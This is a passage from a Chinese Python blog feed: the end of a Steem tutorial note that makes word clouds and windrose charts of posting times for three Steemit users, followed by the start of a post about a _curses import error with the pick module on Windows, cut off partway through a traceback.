</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">dapeng_all_post</span> <span class="o">=</span> <span class="p">[</span><span class="n">post</span><span class="p">[</span><span class="s1">&#39;body&#39;</span><span class="p">]</span> <span class="k">for</span> <span class="n">post</span> <span class="ow">in</span> <span class="n">dapeng</span><span class="p">[</span><span class="s1">&#39;posts&#39;</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 获取词频</span>
</span></span><span class="line"><span class="cl"><span class="n">dapeng_post_counter</span> <span class="o">=</span> <span class="n">Counter</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">post</span> <span class="ow">in</span> <span class="n">dapeng_all_post</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">get_tag</span><span class="p">(</span><span class="n">post</span><span class="p">,</span> <span class="n">dapeng_post_counter</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 画词云图</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 指定中文字体</span>
</span></span><span class="line"><span class="cl"><span class="n">font</span> <span class="o">=</span> <span class="s1">&#39;DroidSansFallbackFull.ttf&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 指定背景图片</span>
</span></span><span class="line"><span class="cl"><span class="n">bg_image</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&#34;steemit.png&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wc</span> <span class="o">=</span> <span class="n">WordCloud</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">font_path</span><span class="o">=</span><span class="n">font</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">background_color</span><span class="o">=</span><span class="s2">&#34;white&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">max_words</span><span class="o">=</span><span class="mi">2000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">max_font_size</span><span class="o">=</span><span class="mi">100</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">mask</span><span class="o">=</span><span class="n">bg_image</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wc</span><span class="o">.</span><span class="n">generate_from_frequencies</span><span class="p">(</span><span class="n">dapeng_post_counter</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">figure</span><span class="p">(</span><span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">wc</span><span class="p">,</span> <span class="n">interpolation</span><span class="o">=</span><span class="s2">&#34;none&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">axis</span><span class="p">(</span><span class="s2">&#34;off&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmSBS9E34jn7FNWPmsVVf66mDwZA1atCsbc9nfG6wXjVuK" alt="output_51_0.png"  />
</p>
<p>同样的，再看看刘美女的关键词</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">deanliu_all_post</span> <span class="o">=</span> <span class="p">[</span><span class="n">post</span><span class="p">[</span><span class="s1">&#39;body&#39;</span><span class="p">]</span> <span class="k">for</span> <span class="n">post</span> <span class="ow">in</span> <span class="n">deanliu</span><span class="p">[</span><span class="s1">&#39;posts&#39;</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 获取词频</span>
</span></span><span class="line"><span class="cl"><span class="n">deanliu_post_counter</span> <span class="o">=</span> <span class="n">Counter</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">post</span> <span class="ow">in</span> <span class="n">deanliu_all_post</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">get_tag</span><span class="p">(</span><span class="n">post</span><span class="p">,</span> <span class="n">deanliu_post_counter</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 画词云图</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 指定中文字体</span>
</span></span><span class="line"><span class="cl"><span class="n">font</span> <span class="o">=</span> <span class="s1">&#39;DroidSansFallbackFull.ttf&#39;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 指定背景图片</span>
</span></span><span class="line"><span class="cl"><span class="n">bg_image</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s2">&#34;steemit2.png&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 取图片的颜色作为绘制词云图片的颜色</span>
</span></span><span class="line"><span class="cl"><span class="n">image_colors</span> <span class="o">=</span> <span class="n">ImageColorGenerator</span><span class="p">(</span><span class="n">bg_image</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wc</span> <span class="o">=</span> <span class="n">WordCloud</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">font_path</span><span class="o">=</span><span class="n">font</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">background_color</span><span class="o">=</span><span class="s2">&#34;white&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">max_words</span><span class="o">=</span><span class="mi">2000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">max_font_size</span><span class="o">=</span><span class="mi">20</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">mask</span><span class="o">=</span><span class="n">bg_image</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wc</span><span class="o">.</span><span class="n">generate_from_frequencies</span><span class="p">(</span><span class="n">deanliu_post_counter</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">figure</span><span class="p">(</span><span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">wc</span><span class="o">.</span><span class="n">recolor</span><span class="p">(</span><span class="n">color_func</span><span class="o">=</span><span class="n">image_colors</span><span class="p">),</span> <span class="n">interpolation</span><span class="o">=</span><span class="s2">&#34;none&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">axis</span><span class="p">(</span><span class="s2">&#34;off&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmXPLkMGXEEyud9C5qEkz7aphGH1gYX6dukfEa77HXpRvq" alt="output_53_0.png"  />
</p>
<h3 id="绘制发帖时间图">绘制发帖时间图</h3>
<p>导入Python包</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">windrose</span> <span class="kn">import</span> <span class="n">WindroseAxes</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 获取发帖时间,返回小时，获取的时间已处理为北京时间</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_post_time</span><span class="p">(</span><span class="n">account</span><span class="p">:</span><span class="nb">dict</span><span class="p">,</span> <span class="n">_type</span><span class="p">:</span><span class="nb">str</span><span class="o">=</span><span class="s1">&#39;created&#39;</span><span class="p">)</span><span class="o">-&gt;</span><span class="nb">list</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">posts</span> <span class="o">=</span> <span class="n">account</span><span class="p">[</span><span class="s1">&#39;posts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">time_format</span> <span class="o">=</span> <span class="s1">&#39;%Y-%m-</span><span class="si">%d</span><span class="s1"> %H:%M:%S&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">posts_time</span> <span class="o">=</span> <span class="p">[</span><span class="n">datetime</span><span class="o">.</span><span class="n">strptime</span><span class="p">(</span><span class="n">post</span><span class="p">[</span><span class="n">_type</span><span class="p">],</span> <span class="n">time_format</span><span class="p">)</span>  <span class="k">for</span> <span class="n">post</span> <span class="ow">in</span> <span class="n">posts</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">hours</span> <span class="o">=</span> <span class="p">[</span><span class="n">time</span><span class="o">.</span><span class="n">hour</span> <span class="k">for</span> <span class="n">time</span> <span class="ow">in</span> <span class="n">posts_time</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hours</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">yjcps_post_time</span> <span class="o">=</span> <span class="n">get_post_time</span><span class="p">(</span><span class="n">yjcps</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">dapeng_post_time</span> <span class="o">=</span> <span class="n">get_post_time</span><span class="p">(</span><span class="n">dapeng</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">deanliu_post_time</span> <span class="o">=</span> <span class="n">get_post_time</span><span class="p">(</span><span class="n">deanliu</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 我所有的发帖时间</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">yjcps_post_time</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>[15, 6, 7, 6, 6, 6, 14, 7, 22, 7, 10, 0, 12, 20, 20, 19, 13, 0, 21, 18, 11, 11, 12, 1, 18, 15, 13, 12, 14, 11, 0, 0, 23, 18, 21, 15]</p>
<p>绘制我的发帖时间图</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">make_time_image</span><span class="p">(</span><span class="n">time</span><span class="p">,</span> <span class="n">colors</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">edgecolor</span><span class="o">=</span><span class="s1">&#39;white&#39;</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">ws</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">time</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">wd</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="n">time</span><span class="p">)</span> <span class="o">/</span> <span class="mi">24</span> <span class="o">*</span> <span class="mi">360</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 统计各时间次数</span>
</span></span><span class="line"><span class="cl">    <span class="n">count</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">histogram</span><span class="p">(</span><span class="n">time</span><span class="p">,</span> <span class="n">bins</span><span class="o">=</span><span class="mi">24</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">colors</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">pass</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">colors</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">94</span><span class="o">/</span><span class="mi">255</span><span class="p">,</span> <span class="mi">79</span><span class="o">/</span><span class="mi">255</span><span class="p">,</span> <span class="mi">162</span><span class="o">/</span><span class="mi">255</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 画图</span>
</span></span><span class="line"><span class="cl">    <span class="n">ax</span> <span class="o">=</span> <span class="n">WindroseAxes</span><span class="o">.</span><span class="n">from_ax</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">ax</span><span class="o">.</span><span class="n">bar</span><span class="p">(</span><span class="n">wd</span><span class="p">,</span> <span class="n">ws</span><span class="p">,</span> <span class="n">nsector</span><span class="o">=</span><span class="mi">24</span><span class="p">,</span> <span class="n">normed</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">colors</span><span class="o">=</span><span class="n">colors</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">           <span class="n">bins</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">edgecolor</span><span class="o">=</span><span class="n">edgecolor</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">xticklabels</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;6:00&#39;</span><span class="p">,</span> <span class="s1">&#39;3:00&#39;</span><span class="p">,</span> <span class="s1">&#39;0:00&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                   <span class="s1">&#39;21:00&#39;</span><span class="p">,</span> <span class="s1">&#39;18:00&#39;</span><span class="p">,</span> <span class="s1">&#39;15:00&#39;</span><span class="p">,</span> <span class="s1">&#39;12:00&#39;</span><span class="p">,</span> <span class="s1">&#39;9:00&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 获取最大极径</span>
</span></span><span class="line"><span class="cl">    <span class="n">rmax</span> <span class="o">=</span> <span class="n">ax</span><span class="o">.</span><span class="n">get_rmax</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">fmt</span> <span class="o">=</span> <span class="s2">&#34;</span><span class="si">%.1f</span><span class="s2"> &#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">yticklabels</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">rmax</span><span class="p">,</span> <span class="mi">6</span><span class="p">)</span> <span class="o">/</span> <span class="n">rmax</span> <span class="o">*</span> <span class="nb">max</span><span class="p">(</span><span class="n">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">yticklabels</span> <span class="o">=</span> <span class="p">[</span><span class="n">fmt</span> <span class="o">%</span> <span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">yticklabels</span><span class="p">[</span><span class="mi">1</span><span class="p">:]]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 设置标签</span>
</span></span><span class="line"><span class="cl">    <span class="n">ax</span><span class="o">.</span><span class="n">set_yticklabels</span><span class="p">(</span><span class="n">yticklabels</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ax</span><span class="o">.</span><span class="n">set_xticklabels</span><span class="p">(</span><span class="n">xticklabels</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 显示</span>
</span></span><span class="line"><span class="cl">    <span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">make_time_image</span><span class="p">(</span><span class="n">yjcps_post_time</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmfG7R5vdHpxTCeht6ZPRonG7hFwSVeLj1DhTPUjkz1ds2" alt="image.png"  />
</p>
<p>绘制大鹏的发帖时间图</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">make_time_image</span><span class="p">(</span><span class="n">dapeng_post_time</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmdhpUktvTV294FJwR4RhgTy1WPFzPp7PSAh9zEUBdDbvv" alt="image.png"  />
</p>
<p>最后绘制刘美女的发帖时间图</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">make_time_image</span><span class="p">(</span><span class="n">deanliu_post_time</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmWF8uqYyd1Y1uzBWqm49zuXgu1Y7sDrWhxt8xL38CKt11" alt="image.png"  />
</p>
<p>看到词云图和发帖时间图，大家是否想起了大鹏举办的 “猜猜 TA 是谁” 活动？</p>
<p>猴年马月终于到了， @dapeng @angelina6688 山寨版的用Python画这两个图的方法就在这里了。</p>
<p>期待下个猴年马月， @dapeng 写个正宗的用R画词云图和发帖时间图。</p>
<hr>
<h2 id="da-series---learn-python-with-steem">[DA series - Learn Python with Steem]</h2>
<ul>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-01-python">[DA series - Learn Python with Steem #01] 安裝Python、文字編輯器與哈囉！</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-02">[DA series - Learn Python with Steem #02] 變數與資料型態</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-03">[DA series - Learn Python with Steem #03] 邏輯判斷</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-04">[DA series - Learn Python with Steem #04] 迴圈</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">[DA series – Learn Python with Steem #05] 基本資料結構</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-06">[DA series - Learn Python with Steem #06] 函式</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-07">[DA series - Learn Python with Steem #07] 類別</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-08-modules-steem">[DA series - Learn Python with Steem #08] 函式庫(Modules)的安裝與使用，準備好玩Steem！</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-09-steem-diy-1-steem">[DA series - Learn Python with Steem #09] Steem 小工具DIY #1 - 我的Steem小偵探</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-10-steem-diy-2">[DA series - Learn Python with Steem #10] Steem 小工具DIY #2 - 我的文章列表（一）</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-11-steem-diy-3">[DA series - Learn Python with Steem #11] Steem 小工具DIY #3 - 我的文章列表（二）</a></li>
</ul>
<h2 id="我的笔记">我的笔记：</h2>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem02-2ilwe1ti59">Learn Python with Steem #02 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem03-l5w15fszh9">Learn Python with Steem #03 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem04-0d8jly8ypt">Learn Python with Steem #04 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">Learn Python with Steem #05 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem06-c0tgbg3puu">Learn Python with Steem #06 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem07-2tx2pvwskh">Learn Python with Steem #07 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem08-5w4cklx91x">Learn Python with Steem #08 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem09-z0dpwgv61i">Learn Python with Steem #09 笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Python 在 Windows 系统中导入 pick 模块问题</title>
      <link>https://hacperme.com/posts/notes/2018-08-23-python-windows-pick/</link>
      <pubDate>Thu, 23 Aug 2018 00:18:34 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-23-python-windows-pick/</guid>
      <description>在Windows上，用Python导入pick模块会出现以下错误： ModuleNotFoundError: No module named &amp;lsquo;_curses&amp;rsquo; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &amp;gt;&amp;gt;&amp;gt; from pick import pick Traceback (most recent call last): File &amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;, line 1, in &amp;lt;module&amp;gt;</description>
      <content:encoded><![CDATA[<p>在Windows上，用Python导入pick模块会出现以下错误：</p>
<blockquote>
<p>ModuleNotFoundError: No module named &lsquo;_curses&rsquo;</p>
</blockquote>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="kn">from</span> <span class="nn">pick</span> <span class="kn">import</span> <span class="n">pick</span>
</span></span><span class="line"><span class="cl"><span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">  <span class="n">File</span> <span class="s2">&#34;&lt;stdin&gt;&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">1</span><span class="p">,</span> <span class="ow">in</span> <span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="n">File</span> <span class="s2">&#34;I:\PYTHON~1\lib\site-packages\pick\__init__.py&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">3</span><span class="p">,</span> <span class="ow">in</span> <span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="kn">import</span> <span class="nn">curses</span>
</span></span><span class="line"><span class="cl">  <span class="n">File</span> <span class="s2">&#34;I:\PYTHON~1\lib\curses\__init__.py&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">13</span><span class="p">,</span> <span class="ow">in</span> <span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="kn">from</span> <span class="nn">_curses</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="ne">ModuleNotFoundError</span><span class="p">:</span> <span class="n">No</span> <span class="n">module</span> <span class="n">named</span> <span class="s1">&#39;_curses&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="kn">from</span> <span class="nn">pick</span> <span class="kn">import</span> <span class="n">pick</span>
</span></span><span class="line"><span class="cl"><span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">  <span class="n">File</span> <span class="s2">&#34;&lt;stdin&gt;&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">1</span><span class="p">,</span> <span class="ow">in</span> <span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="n">File</span> <span class="s2">&#34;I:\PYTHON~1\lib\site-packages\pick\__init__.py&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">3</span><span class="p">,</span> <span class="ow">in</span> <span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="kn">import</span> <span class="nn">curses</span>
</span></span><span class="line"><span class="cl">  <span class="n">File</span> <span class="s2">&#34;I:\PYTHON~1\lib\curses\__init__.py&#34;</span><span class="p">,</span> <span class="n">line</span> <span class="mi">13</span><span class="p">,</span> <span class="ow">in</span> <span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="kn">from</span> <span class="nn">_curses</span> <span class="kn">import</span> <span class="o">*</span>
